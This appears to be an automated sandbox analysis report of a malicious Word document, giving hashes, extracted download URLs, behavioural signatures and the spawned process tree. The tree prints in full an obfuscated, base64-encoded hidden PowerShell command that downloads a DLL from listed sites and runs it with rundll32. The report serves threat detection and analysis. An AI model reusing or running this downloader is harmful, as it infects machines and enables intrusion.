Analysis
-
max time kernel
135s -
max time network
140s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 10:07
Behavioral task
behavioral1
Sample
arc-5972858.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
arc-5972858.doc
Resource
win10v20201028
General
-
Target
arc-5972858.doc
-
Size
163KB
-
MD5
4f25df316e6f6e194548ffec9783373b
-
SHA1
71dda4dde08c6fa01f96f387f97ca2431bb8492f
-
SHA256
7a1ee8011d7a9b903f8cc4443bdc4dd5d82b251975d2a28e1ed3fa8590deffef
-
SHA512
30c87d2d753268ab91a11fcb91cfd4d45ce31d7d8fbc148a635f604ac9ae30879435669428bc8159b07ee0c1bde445c57030420bb4473c4fe354cb90717b1286
Malware Config
Extracted
http://www.mitraship.com/wp-content/ZKeB/
http://djsrecord.com/wp-includes/abop/
https://lastfrontierstrekking.com/new/2OaabFU/
https://watchnshirt.com/y/L7z9YcA/
https://www.impipower.com/wp-content/U/
https://www.inkayniperutours.com/druver/LtcG/
https://vysimopoulos.com/d/NF/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2684 3656 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 15 2872 powershell.exe 30 1984 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 2256 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Otadn\uasp.mon rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4040 WINWORD.EXE 4040 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 2872 powershell.exe 2872 powershell.exe 2872 powershell.exe 1984 rundll32.exe 1984 rundll32.exe 1984 rundll32.exe 1984 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2872 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4040 WINWORD.EXE 4040 WINWORD.EXE 4040 WINWORD.EXE 4040 WINWORD.EXE 4040 WINWORD.EXE 4040 WINWORD.EXE 4040 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 2684 wrote to memory of 3292 2684 cmd.exe msg.exe PID 2684 wrote to memory of 3292 2684 cmd.exe msg.exe PID 2684 wrote to memory of 2872 2684 cmd.exe powershell.exe PID 2684 wrote to memory of 2872 2684 cmd.exe powershell.exe PID 2872 wrote to memory of 3152 2872 powershell.exe rundll32.exe PID 2872 wrote to memory of 3152 2872 powershell.exe rundll32.exe PID 3152 wrote to memory of 2256 3152 rundll32.exe rundll32.exe PID 3152 wrote to memory of 2256 3152 rundll32.exe rundll32.exe PID 3152 wrote to memory of 2256 3152 rundll32.exe rundll32.exe PID 2256 wrote to memory of 1984 2256 rundll32.exe rundll32.exe PID 2256 wrote to memory of 1984 2256 rundll32.exe rundll32.exe PID 2256 wrote to memory of 1984 2256 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\arc-5972858.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Otadn\uasp.mon",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dllMD5
13816ee5dbac2c3adad5d8150487a60c
SHA16cc4cb3d7c1455ca141f8df1d2cda3494d7406d6
SHA256c502ebb2f0ead6ba45db500dc18a77ac6c4a21164b4630392bd90372ec8db03a
SHA51280e5516c79659b3de2c188677cd04a1a07cd65b4c6172fe19675594c0940859cf7468c3e7ae39db72b4d0215f1ff1269c6de505eb0e12bc82d14e0e0ee0741cd
-
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dllMD5
13816ee5dbac2c3adad5d8150487a60c
SHA16cc4cb3d7c1455ca141f8df1d2cda3494d7406d6
SHA256c502ebb2f0ead6ba45db500dc18a77ac6c4a21164b4630392bd90372ec8db03a
SHA51280e5516c79659b3de2c188677cd04a1a07cd65b4c6172fe19675594c0940859cf7468c3e7ae39db72b4d0215f1ff1269c6de505eb0e12bc82d14e0e0ee0741cd
-
memory/1984-12-0x0000000000000000-mapping.dmp
-
memory/2256-10-0x0000000000000000-mapping.dmp
-
memory/2872-4-0x0000000000000000-mapping.dmp
-
memory/2872-5-0x00007FFFE7750000-0x00007FFFE813C000-memory.dmpFilesize
9.9MB
-
memory/2872-6-0x000001F12F5C0000-0x000001F12F5C1000-memory.dmpFilesize
4KB
-
memory/2872-7-0x000001F12F770000-0x000001F12F771000-memory.dmpFilesize
4KB
-
memory/3152-8-0x0000000000000000-mapping.dmp
-
memory/3292-3-0x0000000000000000-mapping.dmp
-
memory/4040-2-0x00007FFFEFBD0000-0x00007FFFF0207000-memory.dmpFilesize
6.2MB